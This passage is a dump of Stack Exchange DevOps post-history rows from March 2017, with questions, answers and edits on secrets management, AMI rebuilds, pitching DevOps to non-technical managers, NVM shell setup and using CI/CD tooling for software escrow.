  <row Id="2033" PostHistoryTypeId="2" PostId="641" RevisionGUID="1534115f-f41a-4b20-b7d4-84a9a9c12893" CreationDate="2017-03-24T15:25:37.623" UserId="38" Text="I typically treat secrets as configuration data in scope.  As such, it does not live alongside the code as they are handled by different release schedules and processes.  A separate git repo, KMS, dynamo, s3, or inside your config management system (chef-vault/encrypted database in the chef world) are good places.  Basically, you don't want to have to build and deploy a new release of your software to get a secret updated.&#xD;&#xA;&#xD;&#xA;If you secrets management needs are more complex, something like Hasicorp Vault (https://github.com/hashicorp/vault) would be a good option." ContentLicense="CC BY-SA 3.0" />
  <row Id="2035" PostHistoryTypeId="2" PostId="642" RevisionGUID="64d261bc-c1aa-47b7-beeb-b967beb8d202" CreationDate="2017-03-24T15:31:51.370" UserId="38" Text="Perhaps you might benefit from abstracting your platform (the AMI with base dependencies) from your software.  Do you really need to re-roll the AMI every time you update your algorithms and models?  Or, do you re-roll when you have a library change and add a deployment setup to your setup that sets up your ML stack on the AMI?  If you can rework your execution model to support this you will likely have a higher iteration velocity.&#xD;&#xA;&#xD;&#xA;If you can't, I would suggest having your CI process generate and publish new AMIs or images. " ContentLicense="CC BY-SA 3.0" />
  <row Id="2036" PostHistoryTypeId="2" PostId="643" RevisionGUID="83f1a708-951f-4e02-9656-b58d08a5711d" CreationDate="2017-03-24T15:50:54.860" UserId="800" Text="I'm totally excited about DevOps. I know that DevOps is the methodology that will move us into building an IT infrastructure that will streamline and move our company forward.  &#xD;&#xA;But how do I sell this to my bosses, especially non-technical bosses?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2037" PostHistoryTypeId="1" PostId="643" RevisionGUID="83f1a708-951f-4e02-9656-b58d08a5711d" CreationDate="2017-03-24T15:50:54.860" UserId="800" Text="How to explain devops to a non-techy manager" ContentLicense="CC BY-SA 3.0" />
  <row Id="2038" PostHistoryTypeId="3" PostId="643" RevisionGUID="83f1a708-951f-4e02-9656-b58d08a5711d" CreationDate="2017-03-24T15:50:54.860" UserId="800" Text="&lt;project-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2039" PostHistoryTypeId="5" PostId="643" RevisionGUID="bf005a0d-83d4-407d-88c4-7f9f7cbf96d6" CreationDate="2017-03-24T16:26:25.657" UserId="800" Comment="added 241 characters in body" Text="I'm totally excited about DevOps. I know that DevOps is the methodology that will move us into building an IT infrastructure that will streamline and move our company forward.  &#xD;&#xA;But how do I sell this to my bosses, especially non-technical bosses?&#xD;&#xA;&#xD;&#xA;We are going to implement an automation project which will include, automated deployment , infrastructure cloudification , continuous integration process .. we definitely need to persuade our bosses to to invest at higher levels in this." ContentLicense="CC BY-SA 3.0" />
  <row Id="2040" PostHistoryTypeId="2" PostId="644" RevisionGUID="9a9df218-33a5-4ca4-92a6-8c950f5e26ac" CreationDate="2017-03-24T17:49:58.290" UserId="38" Text="One possible issue is that the NVM install script only writes the commands to set itself up to either .bash_profile OR .bashrc.  Depending on your systems configuration, it may only be setup for interactive shells, not ones spawned by other programs ([more info][1]).  Sourcing the nvm setup script can be a good option, as a previous comment noted.  If you have a number of commands to run for 1 make target, look into [.ONESHELL][2].  Sourcing $NVM_DIR/nvm.sh should take care of it.&#xD;&#xA;&#xD;&#xA;[Another option][3] that invokes bash directly with the interactive flag might work as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://apple.stackexchange.com/questions/51036/what-is-the-difference-between-bash-profile-and-bashrc&#xD;&#xA;  [2]: https://www.gnu.org/software/make/manual/html_node/One-Shell.html#One-Shell&#xD;&#xA;  [3]: http://stackoverflow.com/a/13130922" ContentLicense="CC BY-SA 3.0" />
  <row Id="2041" PostHistoryTypeId="2" PostId="645" RevisionGUID="2e63ee9b-0eea-4463-bc2b-91260e97d453" CreationDate="2017-03-24T18:00:30.463" UserId="350" Text="You don't. &#xA;&#xA;Despite your enthusiasm about DevOps, non-tech bosses don't really share your fascination with the techie lingo. &#xA;&#xA;First, show him the benefit of a small pilot projects you have done. Collect some useful data points to prove your case. &#xA;&#xA;Next, tell him you have a project that could bring more benefits but need a small investment. (Try to figure out a project that don't let your boss fall off his chair. You should have a feel of what this figure is if you have been working with your boss for a while.)&#xA;&#xA;Once you got the investment, do an excellent job of achieving the objective. Better yet, wildly exceed it!&#xA;&#xA; Now, when finally the boss ask you &quot;So what did you do that brought us so much benefits?&quot;&#xA;&#xA;This is the time that you proclaim to him:&#xA;&#xA;&quot;DevOps&quot;&#xA;&#xA;And ask for more investment for your next devops project. " ContentLicense="CC BY-SA 3.0" />
  <row Id="2042" PostHistoryTypeId="2" PostId="646" RevisionGUID="c42f9719-39c8-4800-8db3-a6c90d9abffd" CreationDate="2017-03-24T18:21:18.440" UserId="40" Text="Consider a software vendor and a licensed customer of some software of this vendor, wheres the software being licensed is either used on premise (at the customer's location), or in the format of SaaS solution (hosted by the vendor). However the customer only gets access to what's needed to use/run the software (executables and similar things), so not the source components and anything related to that to create the executables.&#xD;&#xA;&#xD;&#xA;To protect the customer's business continuity in scenarios where something may go wrong with the vendor (eg: bankruptcy), both parties may agree to some sort of Software Escrow (SE ... 'also') agreement (also called [Source code escrow][1]). With such agreement both parties agree to get a 3rd party involved (= a &quot;Software Escrow agent&quot;), trusted by both parties. These are the highlights of such SE-agreement (= specs of the actual SE-process):&#xD;&#xA;&#xD;&#xA;- ALL pieces of software components ([tag:Artifacts] related to the licensed software) get deposited by the software vendor, at some agreed location related to the SE-agent. Such deposits include the executables, but also the source components and anything related to that to create the executables (even documentation, instructions, etc to create the executables).&#xD;&#xA;- Since the software vendor may create multiple releases for the duration of the software license, and the customer has the right to receive such new releases (as per the license agreement), part of such SE-agreement is that &quot;with every major new release&quot; (whatever &quot;major&quot; may mean ...), the deposit delivered to the SE-agent will also be updated/refreshed.&#xD;&#xA;- If specific conditions are satisfied (e.g: bankruptcy of the vendor), then the Software Escrow agent will deliver to the licensed customer, upon request of such customer, of copy of everything that was deposited, so that customer will be able to continue using the software, and where needed even adapt the source code to continue to use it for the customer's business.&#xD;&#xA;&#xD;&#xA;A common practice for such SE-agent to get involved, is some sort of a legal person/entity, such as a lawyer. But to actually &quot;process the SE-deposits&quot; (by the SE-agents), all sorts of release management and/or software delivery tasks need to be performed by somebody or something (the poor SE-agent) who probably doesn't know at all what the licensed software is supposed to do ... fun guaranteed!&#xD;&#xA;&#xD;&#xA;**My question**:&#xD;&#xA;&#xD;&#xA;How can DevOps help to improve Software Escrow procedures as described above? Like what kind of [tag:toolchain]-tools would you recommend to be used for the fulfillment of which part of the SE-agreement? And where appropriate using which (preferably open source) software solutions for it?&#xD;&#xA;&#xD;&#xA;Note: to not further complicate things, just assume that it is agreed between all parties involved, that the SE-agent does NOT have to do any type of &quot;*verifications*&quot; about the deposits being done. That is: whatever is deposited is assumed to be complete, up-to-date, documented, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Source_code_escrow" ContentLicense="CC BY-SA 3.0" />
  <row Id="2043" PostHistoryTypeId="1" PostId="646" RevisionGUID="c42f9719-39c8-4800-8db3-a6c90d9abffd" CreationDate="2017-03-24T18:21:18.440" UserId="40" Text="How can DevOps help to improve Software Escrow procedures?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2044" PostHistoryTypeId="3" PostId="646" RevisionGUID="c42f9719-39c8-4800-8db3-a6c90d9abffd" CreationDate="2017-03-24T18:21:18.440" UserId="40" Text="&lt;release-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2045" PostHistoryTypeId="2" PostId="647" RevisionGUID="7bffedde-2c60-4b0c-b1e5-dbfc68f0f44c" CreationDate="2017-03-24T18:31:23.373" UserId="397" Text="Being a consultant I am contractually obliged to answer, &quot;it depends&quot;.  With that out of the way I can actually answer your question.&#xA;&#xA;What does it depend on? Well, that could comes down to what your boss thinks about DevOps:&#xA;&#xA; 1. If your boss has heard of the term, via his obsession with CIO.com maybe, then ask him what he thinks it means.  From there work out what the difference is and if his or her view is compatible. Identify a suitable project to trial DevOps on and pitch it to them.  Remember that at the core DevOps is culture so consider how that could be applied to a project. &#xA;&#xA; 2. If your boss has never heard of the term then build a business case for DevOps. Use the [Puppet Labs State of DevOps][1] and material from books such as [The Phoenix Project][2] to write the business case.  Find a problem that your boss has and DevOps could solve and use it as a conversation starter. As kenchew said you don't have to mention DevOps, you might for example suggest that Operations be more involved in a project or more test automation to be planned as part of delivery.&#xA;&#xA; 3. If your boss thinks DevOps is just another buzz word then do one of the above but absolutely don't mention DevOps, look at other similar models such as Site Reliability Engineering, Platform Engineering or Continuous Deployment and find out how they could solve the problem.&#xA;&#xA;The key is to focus on understanding what your boss is motivated by, then carve out a small bit of time, money and people to take tangible steps to solving that problem.&#xA;&#xA;  [1]: https://puppet.com/blog/2016-state-of-devops-survey-here&#xA;  [2]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO" ContentLicense="CC BY-SA 3.0" />
  <row Id="2046" PostHistoryTypeId="5" PostId="647" RevisionGUID="77d5c29b-e2a5-4a52-a732-e7afe14ef394" CreationDate="2017-03-24T18:40:02.883" UserId="397" Comment="His or her -&gt; Their" Text="Being a consultant I am contractually obliged to answer, &quot;it depends&quot;.  With that out of the way, I can actually answer your question.&#xD;&#xA;&#xD;&#xA;What does it depend on? Well, that could come down to what your boss thinks about DevOps:&#xD;&#xA;&#xD;&#xA; 1. If your boss has heard of the term, via their obsession with [CIO.com][1] maybe, then ask him what he thinks it means.  From there work out what the difference is and if their view is compatible.  Identify a suitable project to trial DevOps on and pitch it to them.  Remember that at the core DevOps is culture so consider how that could be applied to a project. &#xD;&#xA;&#xD;&#xA; 2. If your boss has never heard of the term then build a business case for DevOps. Use the [Puppet Labs State of DevOps][2] and material from books such as [The Phoenix Project][3] to write the business case.  Find a problem that your boss has and DevOps could solve and use it as a conversation starter. As kenchew said you don't have to mention DevOps, you might for example, suggest that Operations be more involved in a project or more test automation to be planned as part of project delivery.&#xD;&#xA;&#xD;&#xA; 3. If your boss thinks DevOps is just another buzz word then do one of the above but absolutely don't mention DevOps, look at other similar models such as Site Reliability Engineering, Platform Engineering or Continuous Deployment and find out how they could solve the problem.&#xD;&#xA;&#xD;&#xA;The key is to focus on understanding what your boss is motivated by, then carve out a small bit of time, money and people to take tangible steps to solving that problem.&#xD;&#xA;&#xD;&#xA;I highly recommend the book [To Sell Is Human by Daniel H. Pink][4], fundamentally Daniel Pink talks about how selling something is a very human thing to do, all we need to do is tap into the needs and align our &quot;pitch&quot; by proposing a solution that serves those needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cio.com/&#xD;&#xA;  [2]: https://puppet.com/blog/2016-state-of-devops-survey-here&#xD;&#xA;  [3]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO&#xD;&#xA;  [4]: https://www.amazon.co.uk/dp/B00AO3K05S" ContentLicense="CC BY-SA 3.0" />
  <row Id="2047" PostHistoryTypeId="5" PostId="643" RevisionGUID="5f3af30a-754b-48e4-9dfe-408be84f29c5" CreationDate="2017-03-24T18:44:08.317" UserId="40" Comment="integrate comment from OPer and add relevant tag" Text="I'm totally excited about DevOps. I know that DevOps is the methodology that will move us into building an IT infrastructure that will streamline and move our company forward.  &#xD;&#xA;But how do I sell this to my bosses, especially non-technical bosses?&#xD;&#xA;&#xD;&#xA;We are going to implement an automation project which will include, automated deployment , infrastructure cloudification , continuous integration process .. we definitely need to persuade our bosses to to invest at higher levels in this.&#xD;&#xA;&#xD;&#xA;**Note**: we started to improve our process by automating tests, releases and supervision , it's a step towards adopting devOps but the automation project itself is in stand by as we need more investment." ContentLicense="CC BY-SA 3.0" />
  <row Id="2048" PostHistoryTypeId="4" PostId="643" RevisionGUID="5f3af30a-754b-48e4-9dfe-408be84f29c5" CreationDate="2017-03-24T18:44:08.317" UserId="40" Comment="integrate comment from OPer and add relevant tag" Text="How to explain devops to non-techy managers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2049" PostHistoryTypeId="6" PostId="643" RevisionGUID="5f3af30a-754b-48e4-9dfe-408be84f29c5" CreationDate="2017-03-24T18:44:08.317" UserId="40" Comment="integrate comment from OPer and add relevant tag" Text="&lt;culture&gt;&lt;project-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2050" PostHistoryTypeId="5" PostId="647" RevisionGUID="1bcbca2d-0a2c-4eb6-ade2-16590a5b2afb" CreationDate="2017-03-24T18:47:15.067" UserId="40" Comment="added 2 characters in body" Text="Being a consultant I am contractually obliged to answer, &quot;it depends&quot;.  With that out of the way, I can actually answer your question.&#xD;&#xA;&#xD;&#xA;What does it depend on? Well, that could come down to what your boss thinks about DevOps:&#xD;&#xA;&#xD;&#xA; 1. If your boss has heard of the term, via their obsession with [CIO.com][1] maybe, then ask them what they think it means.  From there work out what the difference is and if their view is compatible.  Identify a suitable project to trial DevOps on and pitch it to them.  Remember that at the core DevOps is culture so consider how that could be applied to a project. &#xD;&#xA;&#xD;&#xA; 2. If your boss has never heard of the term then build a business case for DevOps. Use the [Puppet Labs State of DevOps][2] and material from books such as [The Phoenix Project][3] to write the business case.  Find a problem that your boss has and DevOps could solve and use it as a conversation starter. As kenchew said you don't have to mention DevOps, you might for example, suggest that Operations be more involved in a project or more test automation to be planned as part of project delivery.&#xD;&#xA;&#xD;&#xA; 3. If your boss thinks DevOps is just another buzz word then do one of the above but absolutely don't mention DevOps, look at other similar models such as Site Reliability Engineering, Platform Engineering or Continuous Deployment and find out how they could solve the problem.&#xD;&#xA;&#xD;&#xA;The key is to focus on understanding what your boss is motivated by, then carve out a small bit of time, money and people to take tangible steps to solving that problem.&#xD;&#xA;&#xD;&#xA;I highly recommend the book [To Sell Is Human by Daniel H. Pink][4], fundamentally Daniel Pink talks about how selling something is a very human thing to do, all we need to do is tap into the needs and align our &quot;pitch&quot; by proposing a solution that serves those needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cio.com/&#xD;&#xA;  [2]: https://puppet.com/blog/2016-state-of-devops-survey-here&#xD;&#xA;  [3]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO&#xD;&#xA;  [4]: https://www.amazon.co.uk/dp/B00AO3K05S" ContentLicense="CC BY-SA 3.0" />
  <row Id="2051" PostHistoryTypeId="5" PostId="645" RevisionGUID="34ec3301-2d48-44e6-80f7-9f9fbcc32c4a" CreationDate="2017-03-24T18:49:08.117" UserId="350" Comment="added 103 characters in body; added 44 characters in body" Text="You don't. &#xA;&#xA;Despite your enthusiasm about DevOps, non-tech bosses don't really share your fascination with the techie lingo. &#xA;&#xA;First, show him the benefit of a small pilot projects you have done. Collect some useful data points to prove your case. (Found this question that could help: [What are some methods to measure the ROI for DevOps?][1])&#xA;&#xA;Next, tell him you have a project that could bring more benefits but need a small investment. (Try to figure out a project that don't let your boss fall off his chair. You should have a feel of what this figure is if you have been working with your boss for a while.)&#xA;&#xA;Once you got the investment, do an excellent job of achieving the objective. Better yet, wildly exceed it!&#xA;&#xA; Now, when finally the boss ask you &quot;So what did you do that brought us so much benefits?&quot;&#xA;&#xA;This is the time that you proclaim to him:&#xA;&#xA;&quot;DevOps&quot;&#xA;&#xA;And ask for more investment for your next devops project. &#xA;&#xA;&#xA;  [1]: http://devops.stackexchange.com/q/427/350" ContentLicense="CC BY-SA 3.0" />
  <row Id="2053" PostHistoryTypeId="5" PostId="645" RevisionGUID="a417e80d-44b7-475b-aaec-53b449f1bd0c" CreationDate="2017-03-24T19:23:09.127" UserId="350" Comment="added 5 characters in body" Text="You don't. &#xA;&#xA;Despite your enthusiasm about DevOps, non-tech bosses don't really share your fascination with the techie lingo. &#xA;&#xA;First, show your boss the benefit of a small pilot projects you have done. Collect some useful data points to prove your case. (Found this question that could help: [What are some methods to measure the ROI for DevOps?][1])&#xA;&#xA;Next, tell your boss you have a project that could bring more benefits but need a small investment. (Try to figure out a project that don't let your boss fall off the chair. You should have a feel of what this figure is if you have been working with your boss for a while.)&#xA;&#xA;Once you got the investment, do an excellent job of achieving the objective. Better yet, wildly exceed it!&#xA;&#xA; Now, when finally the boss ask you &quot;So what did you do that brought us so much benefits?&quot;&#xA;&#xA;This is the time that you proclaim:&#xA;&#xA;&quot;DevOps&quot;&#xA;&#xA;And ask for more investment for your next devops project. &#xA;&#xA;&#xA;  [1]: http://devops.stackexchange.com/q/427/350" ContentLicense="CC BY-SA 3.0" />
  <row Id="2054" PostHistoryTypeId="5" PostId="645" RevisionGUID="87a17788-07c6-44a3-a3a7-9a13010d5bae" CreationDate="2017-03-24T19:32:23.223" UserId="40" Comment="added 29 characters in body" Text="You don't. &#xD;&#xA;&#xD;&#xA;Despite your enthusiasm about DevOps, non-tech bosses don't really share your fascination with the techie lingo. &#xD;&#xA;&#xD;&#xA;First, show your bosses the benefit of a small pilot projects you have done. Collect some useful data points to prove your case. (Found this question that could help: [What are some methods to measure the ROI for DevOps?][1])&#xD;&#xA;&#xD;&#xA;Next, tell your bosses you have a project that could bring more benefits but need a small investment. (Try to figure out a project that don't let your bosses fall off the chair. You should have a feel of what this figure is if you have been working with your bosses for a while.)&#xD;&#xA;&#xD;&#xA;Once you got the investment, do an excellent job of achieving the objective. Better yet, wildly exceed it!&#xD;&#xA;&#xD;&#xA; Now, when finally the bosses ask you &quot;So what did you do that brought us so much benefits?&quot;&#xD;&#xA;&#xD;&#xA;This is the time that you proclaim:&#xD;&#xA;&#xD;&#xA;&quot;DevOps&quot;&#xD;&#xA;&#xD;&#xA;And ask for more investment for your next devops project. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/427/350" ContentLicense="CC BY-SA 3.0" />
  <row Id="2055" PostHistoryTypeId="5" PostId="643" RevisionGUID="f10080dc-81af-404c-82f2-00d9e5d40d0b" CreationDate="2017-03-24T19:35:16.950" UserId="40" Comment="deleted 3 characters in body" Text="I'm totally excited about DevOps. I know that DevOps is the methodology that will move us into building an IT infrastructure that will streamline and move our company forward.  &#xD;&#xA;But how do I sell this to my bosses, especially non-technical bosses?&#xD;&#xA;&#xD;&#xA;We are going to implement an automation project which will include, automated deployment , infrastructure cloudification , continuous integration process .. we definitely need to persuade our bosses to invest at higher levels in this.&#xD;&#xA;&#xD;&#xA;**Note**: we started to improve our process by automating tests, releases and supervision , it's a step towards adopting devOps but the automation project itself is in stand by as we need more investment." ContentLicense="CC BY-SA 3.0" />
  <row Id="2056" PostHistoryTypeId="2" PostId="648" RevisionGUID="47d6c996-2b6e-4f8f-acab-c56c7d031cad" CreationDate="2017-03-24T19:52:37.543" UserId="40" Text="Everything in the previous answers is true, but I think there are some things missing to actually get the approval and commitment from your bosses (BTW: most people only have 1 boss at max ...).&#xD;&#xA;&#xD;&#xA;Sooner or later Mr. Murphy will come along (= *Anything that can go wrong, will go wrong, and it shall go wrong when it shouldn't go wrong*). And at that point some boss(es) will want to get answers to questions like this one:&#xD;&#xA;&#xD;&#xA;&gt; What happened when and why, and which authorized user actually approved it ... upfront?&#xD;&#xA;&#xD;&#xA;And at that point you'll get the real ROI from DevOps-practises you'll have in place ... And/or all of a sudden get all sorts of huge budget approvals to implement what you seem to be looking for.&#xD;&#xA;&#xD;&#xA;Even if it would take too long for Murphy to come buy, your company might also run into requirements such as what Richard described in the question &quot;http://devops.stackexchange.com/q/559/40&quot; (those kind of requirements scare CxOs ...).&#xD;&#xA;&#xD;&#xA;But, if you ever have to introduce &quot;DevOps&quot; to somebody who is new to it, it may help them to &quot;warn&quot; them upfront like &quot;**OK, so you want to start DevOps practises, great! But be aware that it is like switching to another religion ...***&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2057" PostHistoryTypeId="2" PostId="649" RevisionGUID="de875572-acaa-4b86-8be2-5d94ac95c2c9" CreationDate="2017-03-24T20:11:42.107" UserId="397" Text="I very interesting question.  On the assumption that the goal of a Software Escrow process is to allow for a 3&lt;sup&gt;rd&lt;/sup&gt;  Party to take over or nominate an additional party to fulfil the responsibility of the supplier, I would suggest the following elements of a DevOps operating model that would support software escrow:&#xD;&#xA;&#xD;&#xA; 1. **Infrastructure-as-code** - effectively documenting through an executable specification of dependant infrastructure, stored and versioned in source control provides the environments that the source code is developed in.  Unlike static documentation in text files because it is executed on a regular basis by the software vendor to build their own environments it does not go out of date of suffer from &quot;bit rot&quot;.  This will always hold the most value when the entire development pipeline is built and maintained in source control applying Infrastructure-as-code principals.&#xD;&#xA;&#xD;&#xA; 2. **Continuious Integration** - the goal of continuous integration is to execute a set of steps that integrate the solution on a regular basis, ideally upon each change.  Typically this means upon check-in and push to a central repository a set of tests are executed that validates the process.  From a software escrow perspective I would expect this to also push a working version to a secondary &quot;backup&quot; repository owned and operated by the 3&lt;sup&gt;rd&lt;/sup&gt; parties.  It is important to note that this does need to be both legally and financially &quot;unlinked&quot; from the software vendor.&#xD;&#xA;&#xD;&#xA; 3. **Continuous Deployment** - the goal of continuious deployment is to deliver software in a working state on a frequent basis.  In this sense the 3&lt;sup&gt;rd&lt;/sup&gt; party is just another deployment target to deploy the outputs to, albeit probably not actively spinning up infrastructure on the 3&lt;sup&gt;rd&lt;/sup&gt; parties fabric.&#xD;&#xA;&#xD;&#xA;Some other considerations to bring into the equation are:&#xD;&#xA; - the move from static documentation to infrastructure as code significantly reduces the toil involved in updating documentation that describes how to install, configure and recover software.&#xD;&#xA; - don't forget secrets management, these could be stored in source control however this does have it's own drawbacks.&#xD;&#xA;&#xD;&#xA;From a tools perspective this will depend very much upon the development environment, I don't believe there are any tools specific to software escrow however:&#xD;&#xA;&#xD;&#xA; - **.NET Development**&#xD;&#xA;   - [GitHub][1] or [BitBucket][2] for source control&#xD;&#xA;   - [AppVeyor][3], [TeamCity][4] or [Jenkins][5] for the build and test elements of the pipeline.&#xD;&#xA;   - [Ansible][6], [Puppet][7] or [Chef][8] for the configuration management elements of the pipeline.&#xD;&#xA;   - [ProGet][9] for the package management elements of the pipeline&#xD;&#xA;   - [Octopus Deploy][10] for the deployment aspects of the pipeline&#xD;&#xA;&#xD;&#xA; - **Java Development, and to some extend Open Source platforms**&#xD;&#xA;   - [CircleCI][11], [TravisCI][12], [TeamCity][4] or [Jenkins][5] for the build and test elements of the pipeline.&#xD;&#xA;   - [Ansible][6], [Puppet][7] or [Chef][8] for the configuration management elements of the pipeline.&#xD;&#xA;   - [JFrog Artifactory][13] or [Sonartype Nexus][14] for the package management elements of the pipeline&#xD;&#xA;   - [Capistrano][15] for the deployment aspects of the pipeline&#xD;&#xA;&#xD;&#xA;At the end of the day if you are able to employ Infrastructure-as-code, Continuious Integration and Continuious Deployment princiapls to a software package it can be used to fuiflil your obligations under a Software Escrow contract.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com&#xD;&#xA;  [2]: https://bitbucket.com&#xD;&#xA;  [3]: https://appveyor.com/&#xD;&#xA;  [4]: https://www.jetbrains.com/teamcity/&#xD;&#xA;  [5]: https://jenkins.io/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://puppet.com/&#xD;&#xA;  [8]: https://www.chef.io/chef/&#xD;&#xA;  [9]: https://inedo.com/proget&#xD;&#xA;  [10]: https://octopus.com/&#xD;&#xA;  [11]: https://circleci.com/&#xD;&#xA;  [12]: https://travis-ci.org/&#xD;&#xA;  [13]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [14]: http://www.sonatype.org/nexus/&#xD;&#xA;  [15]: http://capistranorb.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2058" PostHistoryTypeId="5" PostId="649" RevisionGUID="483fedce-edda-49b1-8b08-099e1b00e27c" CreationDate="2017-03-24T20:24:30.347" UserId="14" Comment="Spelling corrections" Text="A very interesting question. On the assumption that the goal of a Software Escrow process is to allow for a 3&lt;sup&gt;rd&lt;/sup&gt; Party to take over or nominate an additional party to fulfil the responsibility of the supplier, I would suggest the following elements of a DevOps operating model that would support software escrow:&#xD;&#xA;&#xD;&#xA; 1. **Infrastructure-as-code** - effectively documenting through an executable specification of dependant infrastructure, stored and versioned in source control provides the environments that the source code is developed in.  Unlike static documentation in text files because it is executed on a regular basis by the software vendor to build their own environments it does not go out of date of suffer from &quot;bit rot&quot;.  This will always hold the most value when the entire development pipeline is built and maintained in source control applying Infrastructure-as-code principals.&#xD;&#xA;&#xD;&#xA; 2. **Continuous Integration** - the goal of continuous integration is to execute a set of steps that integrate the solution on a regular basis, ideally upon each change.  Typically this means upon check-in and push to a central repository a set of tests are executed that validates the process.  From a software escrow perspective I would expect this to also push a working version to a secondary &quot;backup&quot; repository owned and operated by the 3&lt;sup&gt;rd&lt;/sup&gt; parties.  It is important to note that this does need to be both legally and financially &quot;unlinked&quot; from the software vendor.&#xD;&#xA;&#xD;&#xA; 3. **Continuous Deployment** - the goal of continuous deployment is to deliver software in a working state on a frequent basis.  In this sense the 3&lt;sup&gt;rd&lt;/sup&gt; party is just another deployment target to deploy the outputs to, albeit probably not actively spinning up infrastructure on the 3&lt;sup&gt;rd&lt;/sup&gt; parties fabric.&#xD;&#xA;&#xD;&#xA;Some other considerations to bring into the equation are:&#xD;&#xA;&#xD;&#xA; - the move from static documentation to infrastructure as code significantly reduces the toil involved in updating documentation that describes how to install, configure and recover software.&#xD;&#xA; - don't forget secrets management, these could be stored in source control however this does have it's own drawbacks.&#xD;&#xA;&#xD;&#xA;From a tools perspective this will depend very much upon the development environment, I don't believe there are any tools specific to software escrow however:&#xD;&#xA;&#xD;&#xA; - **.NET Development**&#xD;&#xA;   - [GitHub][1] or [BitBucket][2] for source control&#xD;&#xA;   - [AppVeyor][3], [TeamCity][4] or [Jenkins][5] for the build and test elements of the pipeline.&#xD;&#xA;   - [Ansible][6], [Puppet][7] or [Chef][8] for the configuration management elements of the pipeline.&#xD;&#xA;   - [ProGet][9] for the package management elements of the pipeline&#xD;&#xA;   - [Octopus Deploy][10] for the deployment aspects of the pipeline&#xD;&#xA;&#xD;&#xA; - **Java Development, and to some extend Open Source platforms**&#xD;&#xA;   - [CircleCI][11], [TravisCI][12], [TeamCity][4] or [Jenkins][5] for the build and test elements of the pipeline.&#xD;&#xA;   - [Ansible][6], [Puppet][7] or [Chef][8] for the configuration management elements of the pipeline.&#xD;&#xA;   - [JFrog Artifactory][13] or [Sonartype Nexus][14] for the package management elements of the pipeline&#xD;&#xA;   - [Capistrano][15] for the deployment aspects of the pipeline&#xD;&#xA;&#xD;&#xA;At the end of the day if you are able to employ Infrastructure-as-code, Continuous Integration and Continuous Deployment principles to a software package it can be used to fulfil your obligations under a Software Escrow contract.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com&#xD;&#xA;  [2]: https://bitbucket.com&#xD;&#xA;  [3]: https://appveyor.com/&#xD;&#xA;  [4]: https://www.jetbrains.com/teamcity/&#xD;&#xA;  [5]: https://jenkins.io/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://puppet.com/&#xD;&#xA;  [8]: https://www.chef.io/chef/&#xD;&#xA;  [9]: https://inedo.com/proget&#xD;&#xA;  [10]: https://octopus.com/&#xD;&#xA;  [11]: https://circleci.com/&#xD;&#xA;  [12]: https://travis-ci.org/&#xD;&#xA;  [13]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [14]: http://www.sonatype.org/nexus/&#xD;&#xA;  [15]: http://capistranorb.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2059" PostHistoryTypeId="24" PostId="649" RevisionGUID="483fedce-edda-49b1-8b08-099e1b00e27c" CreationDate="2017-03-24T20:24:30.347" Comment="Proposed by 14 approved by 40, 397 edit id of 186" ContentLicense="CC BY-SA 3.0" />
  <row Id="2062" PostHistoryTypeId="5" PostId="649" RevisionGUID="79cbfb0a-584a-4f45-a465-125010bb2628" CreationDate="2017-03-25T00:28:31.853" UserId="397" Comment="Clarified secrets management." Text="A very interesting question. On the assumption that the goal of a Software Escrow process is to allow for a 3&lt;sup&gt;rd&lt;/sup&gt; Party to take over or nominate an additional party to fulfil the responsibility of the software vendor, I would suggest the following elements of a DevOps operating model that would support software escrow:&#xD;&#xA;&#xD;&#xA; 1. **Infrastructure-as-code** - effectively documenting through an executable specification of dependant infrastructure, stored and versioned in source control provides the environments that the source code is developed in.  Unlike static documentation in text files because it is executed on a regular basis by the software vendor to build their own environments it does not go out of date of suffer from &quot;bit rot&quot;.  This will always hold the most value when the entire development pipeline is built and maintained in source control applying Infrastructure-as-code principals.&#xD;&#xA;&#xD;&#xA; 2. **Continuous Integration** - the goal of continuous integration is to execute a set of steps that integrate the solution on a regular basis, ideally upon each change.  Typically this means upon check-in and push to a central repository a set of tests are executed that validates the process.  From a software escrow perspective I would expect this to also push a working version to a secondary &quot;backup&quot; repository owned and operated by the 3&lt;sup&gt;rd&lt;/sup&gt; parties.  It is important to note that this does need to be both legally and financially &quot;unlinked&quot; from the software vendor.&#xD;&#xA;&#xD;&#xA; 3. **Continuous Deployment** - the goal of continuous deployment is to deliver software in a working state on a frequent basis.  In this sense the 3&lt;sup&gt;rd&lt;/sup&gt; party is just another deployment target to deploy the outputs to, albeit probably not actively spinning up infrastructure on the 3&lt;sup&gt;rd&lt;/sup&gt; parties fabric.&#xD;&#xA;&#xD;&#xA;Some other considerations to bring into the equation are:&#xD;&#xA;&#xD;&#xA; - the move from static documentation to infrastructure as code significantly reduces the toil involved in updating documentation that describes how to install, configure and recover software.&#xD;&#xA; - don't forget secrets management, such as X.509 Certificates, symmetric keys, passwords and licence keys, these could be stored in source control however this does have it's own drawbacks.  &#xD;&#xA;&#xD;&#xA;From a tools perspective this will depend very much upon the development environment, I don't believe there are any tools specific to software 